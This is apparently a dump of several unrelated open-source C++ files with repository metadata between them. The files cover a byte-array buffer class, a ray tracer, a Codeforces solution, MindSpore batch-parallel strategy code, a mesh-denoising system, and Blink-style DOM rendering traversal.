size) { memcpy((char *)buf + bpos, cur->ptr + npos, size); if (cur->size == npos + size) { cur = cur->next; } pos += size; bpos += size; size = 0; } else { memcpy((char *)buf + bpos, cur->ptr + npos, ncap); pos += ncap; bpos += ncap; size -= ncap; cur = cur->next; ncap = cur->size; npos = 0; } } } void ByteArray::position(size_t val) { if (val > m_capacity) { throw std::out_of_range("set pos out of range"); } m_pos = val; if (m_pos > m_size) { m_size = m_pos; } m_cur = m_root; while (val > m_cur->size) { val -= m_cur->size; m_cur = m_cur->next; } if (val == m_cur->size) { m_cur = m_cur->next; } } bool ByteArray::writeToFile(const std::string &name) const { std::ofstream ofs; ofs.open(name, std::ios::trunc | std::ios::binary); if (!ofs) { LOG_ERROR(g_logger) << "write to file, name is " << name << " error"; return false; } int64_t read_size = getReadSize(); int64_t pos = m_pos; Node *cur = m_cur; while (read_size > 0) { int diff = pos % m_base_size; int64_t len = (read_size > (int64_t)m_base_size ? m_base_size : read_size) - diff; ofs.write(cur->ptr + diff, len); cur = cur->next; pos += len; read_size -= len; } return true; } bool ByteArray::readFromFile(const std::string &name) { std::ifstream ifs; ifs.open(name, std::ios::binary); if (!ifs) { LOG_ERROR(g_logger) << "read from file, name is " << name << " error"; return false; } std::shared_ptr<char> buf(new char[m_base_size], [](char *ptr) { delete[] ptr; }); while (!ifs.eof()) { ifs.read(buf.get(), m_base_size); write(buf.get(), ifs.gcount()); } return true; } void ByteArray::addCapacity(size_t size) { if (size == 0) { return; } size_t old_cap = getCapacity(); if (old_cap >= size) { LOG_FMT_DEBUG(g_logger, "old_cap(%u) >= size(%u)", old_cap, size); return; } size = size - old_cap; size_t count = (size / m_base_size) + ((size % m_base_size > old_cap) ? 1 : 0); // size_t count = ceil(1.0 * size / m_base_size); Node *temp = m_root; while (temp->next) { temp = temp->next; } Node *first = nullptr; for (size_t i = 0; i < count; ++i) { temp->next = new Node(m_base_size); if (first == nullptr) { first = temp->next; } temp = temp->next; m_capacity += m_base_size; } if (old_cap == 0) { m_cur = first; } } std::string ByteArray::to_string() const { std::string str; str.resize(getReadSize()); if (str.empty()) { return str; } read(&str[0], str.size(), m_pos); return str; } std::string ByteArray::to_hex_string() const { std::string str = to_string(); std::stringstream ss; for (size_t i = 0; i < str.size(); ++i) { if (i > 0 && i % 32 == 0) { ss << std::endl; } ss << std::setw(2) << std::setfill('0') << std::hex << (int)(uint8_t)str[i] << " "; } return ss.str(); } uint64_t ByteArray::getReadBuffers(std::vector<iovec> &buffers, uint64_t len) const { len = len > getReadSize() ? getReadSize() : len; if (len == 0) { return 0; } uint64_t size = len; size_t npos = m_pos % m_base_size; size_t ncap = m_cur->size - npos; struct iovec iov; Node *cur = m_cur; while (len > 0) { if (ncap >= len) { iov.iov_base = cur->ptr + npos; iov.iov_len = len; len = 0; } else { iov.iov_base = cur->ptr + npos; iov.iov_len = ncap; len -= ncap; cur = cur->next; ncap = cur->size; npos = 0; } buffers.push_back(iov); } return size; } uint64_t ByteArray::getReadBuffers(std::vector<iovec> &buffers, uint64_t len, uint64_t pos) const { len = len > getReadSize() ? getReadSize() : len; if (len == 0) { return 0; } uint64_t size = len; size_t npos = pos % m_base_size; size_t count = pos / m_base_size; Node *cur = m_root; while (count > 0) { cur = cur->next; --count; } size_t ncap = cur->size - npos; struct iovec iov; while (len > 0) { if (ncap >= len) { iov.iov_base = cur->ptr + npos; iov.iov_len = len; len = 0; } else { iov.iov_base = cur->ptr + npos; iov.iov_len = ncap; len -= ncap; cur = cur->next; ncap = cur->size; npos = 0; } buffers.push_back(iov); } return size; } uint64_t ByteArray::getWriteBuffers(std::vector<iovec> &buffers, uint64_t len) { if (len == 0) { return 0; } addCapacity(len); uint64_t size = len; size_t npos = m_pos % m_base_size; size_t ncap = m_cur->size - npos; struct iovec iov; Node *cur = m_cur; while (len > 0) { if (ncap >= len) { iov.iov_base = cur->ptr + npos; iov.iov_len = len; len = 0; } else { iov.iov_base = cur->ptr + npos; iov.iov_len = ncap; len -= ncap; cur = cur->next; ncap = cur->size; npos = 0; } buffers.push_back(iov); } return size; } } // namespace cool
22.263072
80
0.584294
dongzx666
b1d378f667928cda69bc2a142c51252e1a566759
966
cpp
C++
breath/path/brt/directory_separators.cpp
erez-o/breath
adf197b4e959beffce11e090c5e806d2ff4df38a
[ "BSD-3-Clause" ]
null
null
null
breath/path/brt/directory_separators.cpp
erez-o/breath
adf197b4e959beffce11e090c5e806d2ff4df38a
[ "BSD-3-Clause" ]
null
null
null
breath/path/brt/directory_separators.cpp
erez-o/breath
adf197b4e959beffce11e090c5e806d2ff4df38a
[ "BSD-3-Clause" ]
null
null
null
// =========================================================================== // This is an open source non-commercial project. // Dear PVS-Studio, please check it. // PVS-Studio Static Code Analyzer for C, C++, C#, and Java: // http://www.viva64.com // =========================================================================== // Copyright 2007 Gennaro Prota // // Licensed under the 3-Clause BSD License. // (See accompanying file 3_CLAUSE_BSD_LICENSE.txt or // <https://opensource.org/licenses/BSD-3-Clause>.) // ___________________________________________________________________________ #include "breath/porting/dependent_code.hpp" #include BREATH_DEPENDENT_CODE( system, directory_separators.cpp ) // Local Variables: // mode: c++ // indent-tabs-mode: nil // c-basic-offset: 4 // End: // vim: set ft=cpp et sts=4 sw=4:
42
78
0.516563
erez-o
b1d4484f5cd5bbafd7d091be3c8116d6b2e93104
5,263
cpp
C++
Raytracer/src/world.cpp
rickyguerin/Animated-Ray-Tracer
cc1afe776c904b2280e5552f5c4654391658382a
[ "MIT" ]
null
null
null
Raytracer/src/world.cpp
rickyguerin/Animated-Ray-Tracer
cc1afe776c904b2280e5552f5c4654391658382a
[ "MIT" ]
null
null
null
Raytracer/src/world.cpp
rickyguerin/Animated-Ray-Tracer
cc1afe776c904b2280e5552f5c4654391658382a
[ "MIT" ]
null
null
null
#include "../header/world.h" #include "../header/WorldProgram/sphereProgram.h" #include "../header/WorldProgram/triangleProgram.h" #include "../header/Shape/shape.h" #include "../header/Math/intersection.h" World::World(const glm::vec3& color) { backgroundColor = color; } World::~World() { for (const ShapeProgram* prog : programs) { delete prog; } } void World::addProgram(const std::string& filename) { // Position of dot in name.light size_t lightExt = filename.length() - 6; assert(lightExt > 0); // File is .light if (filename.substr(lightExt).compare(".light") == 0) { lightPrograms.push_back(LightProgram(filename)); return; } // Position of dot in name.sphere size_t sphereExt = filename.length() - 7; assert(sphereExt > 0); // File is .sphere if (filename.substr(sphereExt).compare(".sphere") == 0) { programs.push_back(new SphereProgram(filename)); return; } // Position of dot in name.triangle size_t triangleExt = filename.length() - 9; assert(triangleExt > 0); // File is .triangle if (filename.substr(triangleExt).compare(".triangle") == 0) { programs.push_back(new TriangleProgram(filename)); return; } } void World::loadCurrent(const glm::mat4& cameraMatrix, const float time) { // Load Shapes for (int i = 0; i < programs.size(); i++) { Shape* shape = programs[i]->getShape(time); shape->transformToCameraSpace(cameraMatrix); currentShapes.push_back(shape); } // Load Lights for (int i = 0; i < lightPrograms.size(); i++) { Light light = lightPrograms[i].getLight(time); light.transformToCameraSpace(cameraMatrix); currentLights.push_back(light); } } void World::deleteCurrent() { for (int i = 0; i < programs.size(); i++) { delete currentShapes[i]; } currentShapes.clear(); currentLights.clear(); } glm::vec3 World::trace(const Ray& ray, const float time, const int depth, const bool inside) const { // Determine what Shape is intersected by ray first Intersection closestIntersection = NULL_INTERSECTION; const Shape* intersectedShape = currentShapes[0]; glm::vec3 origin = glm::vec3(0, 0, 0); Intersection currentIntersection; for (int i = 0; i < currentShapes.size(); i++) { currentIntersection = currentShapes[i]->collision(ray); // No intersection occured with this Shape if (currentIntersection.isNull()) { continue; } // If this intersection is closer than the previous closest, update else if (closestIntersection.isNull() || currentIntersection.omega < closestIntersection.omega) { closestIntersection = currentIntersection; intersectedShape = currentShapes[i]; } } // No intersection occurred at all if (closestIntersection.isNull()) { return backgroundColor; } // Intersection occurred, test for shadow else { Intersection closestShadowIntersection = NULL_INTERSECTION; const Shape* shadowIntersectionShape = currentShapes[0]; bool shadow = true; glm::vec3 pixelColor = glm::vec3(0, 0, 0); // Test if any light can reach intersection point for (int i = 0; i < currentLights.size(); i++) { glm::vec3 srd = glm::normalize(currentLights[i].position - closestIntersection.point); glm::vec3 sro = closestIntersection.point + (0.01f * srd); for (int k = 0; k < currentShapes.size(); k++) { currentIntersection = currentShapes[k]->collision(Ray{ sro, srd }); // No intersection occured with this Shape if (currentIntersection.isNull()) { continue; } // If this intersection is closer than the previous closest, update else if (closestShadowIntersection.isNull() || currentIntersection.omega < closestShadowIntersection.omega) { closestShadowIntersection = currentIntersection; shadowIntersectionShape = currentShapes[k]; } } float lightOmega = (currentLights[i].position - closestIntersection.point).length(); // If no shadow ray Intersection, illuminate normally if (closestShadowIntersection.isNull() || closestShadowIntersection.omega > lightOmega) { shadow = false; break; } } // If every light is blocked, return illumination with shadow pixelColor += intersectedShape->illuminate(closestIntersection, currentLights, shadow); if (depth < MAX_DEPTH) { float kReflect = intersectedShape->illumination->kReflect; float kRefract = intersectedShape->illumination->kRefract; float refIndex = intersectedShape->illumination->refIndex; glm::vec3 reflectDir = glm::reflect(ray.direction, closestIntersection.normal); if (kReflect > 0) { pixelColor += kReflect * trace(Ray{closestIntersection.point + (reflectDir * 0.001f), reflectDir}, time, depth + 1, inside); } if (kRefract > 0) { float ni, nt; glm::vec3 refNorm = glm::vec3(closestIntersection.normal); if (inside) { ni = refIndex; nt = 1.0f; refNorm = -refNorm; } else { ni = 1.0f; nt = refIndex; } float test = 1 - ((pow(ni, 2) * (1 - pow(glm::dot(ray.direction, refNorm), 2))) / pow(nt, 2)); glm::vec3 refractDir = glm::refract(ray.direction, refNorm, ni / nt); if (test < 0) { refractDir = glm::vec3(reflectDir); } pixelColor += kRefract * trace(Ray{ closestIntersection.point + (refractDir * 0.001f), refractDir }, time, depth + 1, !inside); } } return pixelColor; } }
30.247126
131
0.694091
rickyguerin
b1d62dbd78a341ebaa4756b65b603bef0b7853a1
666
cc
C++
codeforces/1253/e.cc
Ashindustry007/competitive-programming
2eabd3975c029d235abb7854569593d334acae2f
[ "WTFPL" ]
506
2018-08-22T10:30:38.000Z
2022-03-31T10:01:49.000Z
codeforces/1253/e.cc
Ashindustry007/competitive-programming
2eabd3975c029d235abb7854569593d334acae2f
[ "WTFPL" ]
13
2019-08-07T18:31:18.000Z
2020-12-15T21:54:41.000Z
codeforces/1253/e.cc
Ashindustry007/competitive-programming
2eabd3975c029d235abb7854569593d334acae2f
[ "WTFPL" ]
234
2018-08-06T17:11:41.000Z
2022-03-26T10:56:42.000Z
// https://codeforces.com/contest/1253/problem/E #include <bits/stdc++.h> using namespace std; using ii = tuple<int, int>; using vi = vector<int>; using vii = vector<ii>; int main() { int n, m, x, s, l, r; cin >> n >> m; vii a(n); for (int i = 0; i < n; i++) { cin >> x >> s; a[i] = { x - s, x + s }; } vi dp(m + 1); for (int i = 0; i <= m; i++) dp[i] = i; for (int i = 1; i <= m; i++) { for (int j = 0; j < n; j++) { tie(l, r) = a[j]; if (l <= i && i <= r) dp[i] = dp[i - 1]; else if (r < i) { int c = i - r; dp[i] = min(dp[i], dp[max(0, l - c - 1)] + c); } } } cout << dp[m] << '\n'; }
21.483871
54
0.408408
Ashindustry007
b1d8eff6a7ff88808dc410b7ffec813bf19db1b6
43
cpp
C++
chapter-07/recipe-08/cxx-example/src/main.cpp
istupsm/cmake-cookbook
342d0171802153619ea124c5b8e792ce45178895
[ "MIT" ]
1,600
2018-05-24T01:32:44.000Z
2022-03-31T09:24:11.000Z
chapter-07/recipe-08/cxx-example/src/main.cpp
istupsm/cmake-cookbook
342d0171802153619ea124c5b8e792ce45178895
[ "MIT" ]
280
2017-08-27T13:10:51.000Z
2018-05-23T15:09:58.000Z
chapter-07/recipe-08/cxx-example/src/main.cpp
istupsm/cmake-cookbook
342d0171802153619ea124c5b8e792ce45178895
[ "MIT" ]
475
2018-05-23T15:26:27.000Z
2022-03-31T07:28:19.000Z
../../../recipe-07/cxx-example/src/main.cpp
43
43
0.651163
istupsm
b1d9b8b60e814d0b4fec21840ca80d402475edd4
7,461
cc
C++
mindspore/ccsrc/parallel/ops_info/batch_parallel_info.cc
madrugado/mindspore
d90e1215476ec5b531ee182fecadc3559ac466ea
[ "Apache-2.0" ]
null
null
null
mindspore/ccsrc/parallel/ops_info/batch_parallel_info.cc
madrugado/mindspore
d90e1215476ec5b531ee182fecadc3559ac466ea
[ "Apache-2.0" ]
null
null
null
mindspore/ccsrc/parallel/ops_info/batch_parallel_info.cc
madrugado/mindspore
d90e1215476ec5b531ee182fecadc3559ac466ea
[ "Apache-2.0" ]
null
null
null
/** * Copyright 2019 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "parallel/ops_info/batch_parallel_info.h" #include <memory> #include <utility> #include <vector> #include "ir/value.h" #include "parallel/device_manager.h" #include "parallel/device_matrix.h" #include "parallel/step_parallel.h" namespace mindspore { namespace parallel { Status BatchParallelInfo::CheckStrategy(const StrategyPtr& strategy) { if (CheckStrategyValue(strategy, inputs_shape_, is_auto_parallel_) != SUCCESS) { if (is_auto_parallel_) { MS_LOG(DEBUG) << name_ << " : Invalid strategy."; } else { MS_LOG(ERROR) << name_ << " : Invalid strategy."; } return FAILED; } int32_t stage = strategy->GetInputStage(); CheckGlobalDeviceManager(); int32_t dev_num = SizeToInt(g_device_manager->GetDeviceListByStageId(stage).size()); dev_num_ = dev_num; size_t strategy_size = strategy->GetInputNumber(); std::vector<Dimensions> stra = strategy->GetInputDim(); for (size_t i = 0; i < strategy_size; ++i) { Shape sub_strategy = stra.at(i); size_t strategy_len = sub_strategy.size(); bool flag = false; for (size_t j = 0; j < strategy_len; ++j) { int32_t strategy_value = sub_strategy.at(j); if (strategy_value > 1) { if (flag || strategy_value != dev_num_) { if (is_auto_parallel_) { MS_LOG(DEBUG) << name_ << " : It is not a valid data parallel strategy."; } else { MS_LOG(ERROR) << name_ << " : It is not a valid data parallel strategy."; } return FAILED; } flag = true; } } } return SUCCESS; } Status BatchParallelInfo::InferDevMatrixShape() { dev_matrix_shape_.push_back(dev_num_); return SUCCESS; } Status BatchParallelInfo::InferMirrorOps() { mirror_ops_.clear(); if (g_device_manager->DeviceNum() == 1) { MS_LOG(INFO) << name_ << " : The device num is 1, no need to create mirror ops."; return SUCCESS; } MS_LOG(INFO) << name_ << " : Batch parallel input number " << strategy_->GetInputNumber(); for (size_t i = 0; i < input_value_.size(); i++) { MS_EXCEPTION_IF_NULL(g_device_manager); OperatorVector op_vec = CreateMirrorOps(g_device_manager->world_group(), g_device_manager->DeviceNum()); mirror_ops_.push_back(op_vec); } return SUCCESS; } Status BatchParallelInfo::InferForwardCommunication() { return SUCCESS; } Status BatchParallelInfo::InferTensorMap() { if (strategy_->GetInputDim()[0][0] != dev_num_) { MS_LOG(ERROR) << name_ << " : It is not a valid data parallel strategy."; return FAILED; } for (size_t i = 0; i < inputs_shape_.size(); i++) { std::vector<int32_t> tensor_map_index; for (size_t j = 0; j < inputs_shape_[i].size(); ++j) { if (strategy_->GetInputDim()[i][j] == dev_num_ && j == 0) { tensor_map_index.push_back(0); } else { tensor_map_index.push_back(MAP_NONE); } } inputs_tensor_map_.push_back(tensor_map_index); } for (size_t i = 0; i < outputs_shape_.size(); i++) { std::vector<int32_t> tensor_map_index; for (size_t j = 0; j < outputs_shape_[i].size(); ++j) { if (i == 0 && j == 0) { tensor_map_index.push_back(0); } else { tensor_map_index.push_back(MAP_NONE); } } outputs_tensor_map_.push_back(tensor_map_index); } return SUCCESS; } Strategys BatchParallelInfo::GetOutputsStrategy() { Strategys outputs_strategy; for (size_t i = 0; i < outputs_shape_.size(); ++i) { std::vector<int32_t> strategy; for (size_t j = 0; j < outputs_shape_[i].size(); ++j) { if (i == 0 && j == 0) { strategy.push_back(dev_num_); } else { strategy.push_back(1); } } outputs_strategy.push_back(strategy); } return outputs_strategy; } Status BatchParallelInfo::InferTensorInfo() { for (size_t i = 0; i < strategy_->GetInputNumber(); i++) { MS_LOG(INFO) << name_ << " : The input size is " << strategy_->GetInputNumber(); TensorLayout tensor_layout_in; if (tensor_layout_in.InitFromVector(dev_matrix_shape_, inputs_tensor_map_.at(i), inputs_shape_.at(i)) != SUCCESS) { return FAILED; } TensorInfo tensor_info_in(tensor_layout_in); inputs_tensor_info_.push_back(tensor_info_in); } for (size_t i = 0; i < outputs_shape_.size(); i++) { TensorLayout tensor_layout_out; if (tensor_layout_out.InitFromVector(dev_matrix_shape_, outputs_tensor_map_.at(i), outputs_shape_.at(i)) != SUCCESS) { return FAILED; } TensorInfo tensor_info_out(tensor_layout_out); outputs_tensor_info_.push_back(tensor_info_out); } return SUCCESS; } Status BatchParallelInfo::GetAttrs() { return SUCCESS; } Status BatchParallelInfo::Init(const StrategyPtr& strategy) { if (InitWithAutoRepeatCalc(strategy) != SUCCESS) { MS_LOG(ERROR) << name_ << " : Init failed."; return FAILED; } MS_LOG(INFO) << name_ << " : Init success."; return SUCCESS; } Status BatchParallelInfo::InitForCostModel(const StrategyPtr& strategy) { if (InitForCostModelWithAutoRepeatCalc(strategy) != SUCCESS) { if (is_auto_parallel_) { MS_LOG(DEBUG) << name_ << " : Init for cost model failed."; } else { MS_LOG(ERROR) << name_ << " : Init for cost model failed."; } return FAILED; } MS_LOG(INFO) << name_ << " : Init for cost model success."; return SUCCESS; } Status BatchParallelInfo::SetCostUnderStrategy(const StrategyPtr& strategy) { if (SetCostUnderStrategyBase(strategy) != SUCCESS) { if (is_auto_parallel_) { MS_LOG(DEBUG) << name_ << " : Set cost under strategy failed."; } else { MS_LOG(ERROR) << name_ << " : Set cost under strategy failed."; } return FAILED; } return SUCCESS; } Status BatchParallelInfo::GenerateStrategies(int32_t stage_id) { CheckGlobalDeviceManager(); is_auto_parallel_ = true; size_t total_dev_num = g_device_manager->GetDeviceListByStageId(stage_id).size(); StrategyPtr sp; std::vector<Dimensions> strategy; for (size_t i = 0; i < inputs_shape_.size(); i++) { Shape temp(inputs_shape_[i].size(), 1); if (split_flag_list_[i]) { temp[0] = SizeToInt(total_dev_num); } strategy.push_back(temp); } sp = std::make_shared<Strategy>(stage_id, strategy); if (SetCostUnderStrategy(sp) == SUCCESS) { MS_LOG(INFO) << name_ << " : Successfully generated batch-parallel-strategy."; PrintStrategy(sp); } else { MS_LOG(ERROR) << name_ << " : Generating batch-parallel-strategy failed."; return FAILED; } return SUCCESS; } void SparseSoftmaxCrossEntropyWithLogitsInfo::ReComputeBatchSplitFlagList() { for (size_t i = 0; i < inputs_shape_.size(); i++) { split_flag_list_[i] = true; } } Status BatchParallelInfo::InferAsLossDivisor() { as_loss_divisor_ = 1; return SUCCESS; } } // namespace parallel } // namespace mindspore
31.481013
119
0.669749
madrugado
b1dd600520e03aef39f6e24d5c88a2633aed8ae1
4,944
cpp
C++
homeworks/HW6/Systems/DenoiseSystem.cpp
g1n0st/GAMES102
44a8cf9db102109c8fd15c8dc06aa6ad1519a5eb
[ "MIT" ]
7
2020-10-23T16:33:45.000Z
2021-09-17T23:49:36.000Z
homeworks/HW6/Systems/DenoiseSystem.cpp
g1n0st/GAMES102
44a8cf9db102109c8fd15c8dc06aa6ad1519a5eb
[ "MIT" ]
null
null
null
homeworks/HW6/Systems/DenoiseSystem.cpp
g1n0st/GAMES102
44a8cf9db102109c8fd15c8dc06aa6ad1519a5eb
[ "MIT" ]
3
2021-03-18T08:45:36.000Z
2021-08-17T02:36:06.000Z
#include "DenoiseSystem.h" #include "../Components/DenoiseData.h" #include <_deps/imgui/imgui.h> #include <spdlog/spdlog.h> #include <cmath> #include <algorithm> using namespace Ubpa; void DenoiseSystem::OnUpdate(Ubpa::UECS::Schedule& schedule) { schedule.RegisterCommand([](Ubpa::UECS::World* w) { auto data = w->entityMngr.GetSingleton<DenoiseData>(); if (!data) return; if (ImGui::Begin("Denoise")) { if (ImGui::Button("Mesh to HEMesh")) { data->heMesh->Clear(); [&]() { if (!data->mesh) { spdlog::warn("mesh is nullptr"); return; } if (data->mesh->GetSubMeshes().size() != 1) { spdlog::warn("number of submeshes isn't 1"); return; } data->copy = *data->mesh; std::vector<size_t> indices(data->mesh->GetIndices().begin(), data->mesh->GetIndices().end()); data->heMesh->Init(indices, 3); const auto& normals = data->mesh->GetNormals(); assert(normals.size() == data->heMesh->Vertices().size()); if (!data->heMesh->IsTriMesh()) spdlog::warn("HEMesh init fail"); for (size_t i = 0; i < data->mesh->GetPositions().size(); i++) { data->heMesh->Vertices().at(i)->position = data->mesh->GetPositions().at(i); data->heMesh->Vertices().at(i)->normal = normals[i]; } spdlog::info("Mesh to HEMesh success"); }(); } if (ImGui::Button("Process")) { [&]() { if (!data->heMesh->IsTriMesh()) { spdlog::warn("HEMesh isn't triangle mesh"); return; } for (int k = 0; k < data->iter_time; ++k) { for (auto* v : data->heMesh->Vertices()) v->old_position = v->position; // backup old postion for (auto* v : data->heMesh->Vertices()) { if (v->IsOnBoundary()) continue; // fix the boundary points const auto P = v->old_position; valf3 Hn = { 0.f }; float A = 0.f; const auto& adj_a = v->AdjPolygons(); for (auto* poly : adj_a) { A += poly->Area(); } spdlog::info(std::to_string(A)); assert(A > 0.f); const auto& adj_v = v->AdjVertices(); for (size_t i = 0; i < adj_v.size(); ++i) { const auto p0 = (i != 0 ? adj_v[i - 1]->old_position : adj_v.back()->old_position); const auto p1 = adj_v[i]->old_position; const auto p2 = (i + 1 < adj_v.size() ? adj_v[i + 1]->old_position : adj_v[0]->old_position); float cos_a = (p1 - p0).dot(P - p0); float cos_b = (p1 - p2).dot(P - p2); cos_a = std::min(cos_a, 0.9f); cos_b = std::min(cos_b, 0.9f); float cot_a = cos_a / sqrt(1 - cos_a * cos_a); float cot_b = cos_b / sqrt(1 - cos_b * cos_b); Hn -= (cot_a + cot_b) * (P - p1); } Hn /= (4 * A); v->position = v->old_position + data->lambda * Hn; v->normal = Hn.normalize(); } } spdlog::info("Process success"); }(); } if (ImGui::Button("Set Normal to Color")) { [&]() { if (!data->mesh) { spdlog::warn("mesh is nullptr"); return; } data->mesh->SetToEditable(); std::vector<rgbf> colors; for (auto* v : data->heMesh->Vertices()) colors.push_back((v->normal.as<valf3>() + valf3{ 1.f }) / 2.f); data->mesh->SetColors(std::move(colors)); spdlog::info("Set Normal to Color Success"); }(); } if (ImGui::Button("HEMesh to Mesh")) { [&]() { if (!data->mesh) { spdlog::warn("mesh is nullptr"); return; } if (!data->heMesh->IsTriMesh() || data->heMesh->IsEmpty()) { spdlog::warn("HEMesh isn't triangle mesh or is empty"); return; } data->mesh->SetToEditable(); const size_t N = data->heMesh->Vertices().size(); const size_t M = data->heMesh->Polygons().size(); std::vector<Ubpa::pointf3> positions(N); std::vector<uint32_t> indices(M * 3); for (size_t i = 0; i < N; i++) positions[i] = data->heMesh->Vertices().at(i)->position; for (size_t i = 0; i < M; i++) { auto tri = data->heMesh->Indices(data->heMesh->Polygons().at(i)); indices[3 * i + 0] = static_cast<uint32_t>(tri[0]); indices[3 * i + 1] = static_cast<uint32_t>(tri[1]); indices[3 * i + 2] = static_cast<uint32_t>(tri[2]); } data->mesh->SetPositions(std::move(positions)); data->mesh->SetIndices(std::move(indices)); data->mesh->SetSubMeshCount(1); data->mesh->SetSubMesh(0, { 0, M * 3 }); data->mesh->GenNormals(); data->mesh->GenTangents(); spdlog::info("HEMesh to Mesh success"); }(); } if (ImGui::Button("Recover Mesh")) { [&]() { if (!data->mesh) { spdlog::warn("mesh is nullptr"); return; } if (data->copy.GetPositions().empty()) { spdlog::warn("copied mesh is empty"); return; } *data->mesh = data->copy; spdlog::info("recover success"); }(); } } ImGui::End(); }); }
28.090909
101
0.543689
g1n0st
b1dda328f31df8cf35b95708ab95852f31455d1f
5,331
cpp
C++
sky/engine/core/dom/NodeRenderingTraversal.cpp
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
null
null
null
sky/engine/core/dom/NodeRenderingTraversal.cpp
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
null
null
null
sky/engine/core/dom/NodeRenderingTraversal.cpp
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
null
null
null
/* * Copyright (C) 2012 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include "core/dom/NodeRenderingTraversal.h" #include "core/dom/shadow/ComposedTreeWalker.h" #include "core/rendering/RenderObject.h" namespace blink { namespace NodeRenderingTraversal { void ParentDetails::didTraverseInsertionPoint(const InsertionPoint* insertionPoint) { if (!m_insertionPoint) { m_insertionPoint = insertionPoint; } } ContainerNode* parent(const Node* node, ParentDetails* details) { ASSERT(node); ASSERT(!node->document().childNeedsDistributionRecalc()); if (isActiveInsertionPoint(*node)) return 0; ComposedTreeWalker walker(node, ComposedTreeWalker::CanStartFromShadowBoundary); return toContainerNode(walker.traverseParent(walker.get(), details)); } bool contains(const ContainerNode* container, const Node* node) { while (node) { if (node == container) return true; node = NodeRenderingTraversal::parent(node); } return false; } Node* nextSibling(const Node* node) { ComposedTreeWalker walker(node); walker.nextSibling(); return walker.get(); } Node* previousSibling(const Node* node) { ComposedTreeWalker walker(node); walker.previousSibling(); return walker.get(); } static Node* lastChild(const Node* node) { ComposedTreeWalker walker(node); walker.lastChild(); return walker.get(); } static Node* firstChild(const Node* node) { ComposedTreeWalker walker(node); walker.firstChild(); return walker.get(); } Node* previous(const Node* node, const Node* stayWithin) { if (node == stayWithin) return 0; if (Node* previousNode = previousSibling(node)) { while (Node* previousLastChild = lastChild(previousNode)) previousNode = previousLastChild; return previousNode; } return parent(node); } Node* next(const Node* node, const Node* stayWithin) { if (Node* child = firstChild(node)) return child; if (node == stayWithin) return 0; if (Node* nextNode = nextSibling(node)) return nextNode; for (Node* parentNode = parent(node); parentNode; parentNode = parent(parentNode)) { if (parentNode == stayWithin) return 0; if (Node* nextNode = nextSibling(parentNode)) return nextNode; } return 0; } RenderObject* nextSiblingRenderer(const Node* node) { for (Node* sibling = NodeRenderingTraversal::nextSibling(node); sibling; sibling = NodeRenderingTraversal::nextSibling(sibling)) { if (RenderObject* renderer = sibling->renderer()) return renderer; } return 0; } RenderObject* previousSiblingRenderer(const Node* node) { for (Node* sibling = NodeRenderingTraversal::previousSibling(node); sibling; sibling = NodeRenderingTraversal::previousSibling(sibling)) { if (RenderObject* renderer = sibling->renderer()) return renderer; } return 0; } Node* commonAncestor(Node& a, Node& b) { if (a == b) return &a; if (a.document() != b.document()) return 0; int thisDepth = 0; for (Node* node = &a; node; node = parent(node)) { if (node == b) return node; thisDepth++; } int otherDepth = 0; for (const Node* node = &b; node; node = parent(node)) { if (node == a) return &a; otherDepth++; } Node* thisIterator = &a; const Node* otherIterator = &b; if (thisDepth > otherDepth) { for (int i = thisDepth; i > otherDepth; --i) thisIterator = parent(thisIterator); } else if (otherDepth > thisDepth) { for (int i = otherDepth; i > thisDepth; --i) otherIterator = parent(otherIterator); } while (thisIterator) { if (thisIterator == otherIterator) return thisIterator; thisIterator = parent(thisIterator); otherIterator = parent(otherIterator); } ASSERT(!otherIterator); return 0; } } } // namespace
29.616667
142
0.673044
domenic
b1de7160e7d1447732775e18dd2b58e730305d7c
9,667
cpp
C++
gui/src/gui_statusbar.cpp
unnamed-mmo/lxgui
5c4b9d0c164d2d35cfe5c59888b10020184f717d
[ "MIT" ]
null
null
null
gui/src/gui_statusbar.cpp
unnamed-mmo/lxgui
5c4b9d0c164d2d35cfe5c59888b10020184f717d
[ "MIT" ]
null
null
null
gui/src/gui_statusbar.cpp
unnamed-mmo/lxgui
5c4b9d0c164d2d35cfe5c59888b10020184f717d
[ "MIT" ]
null
null
null
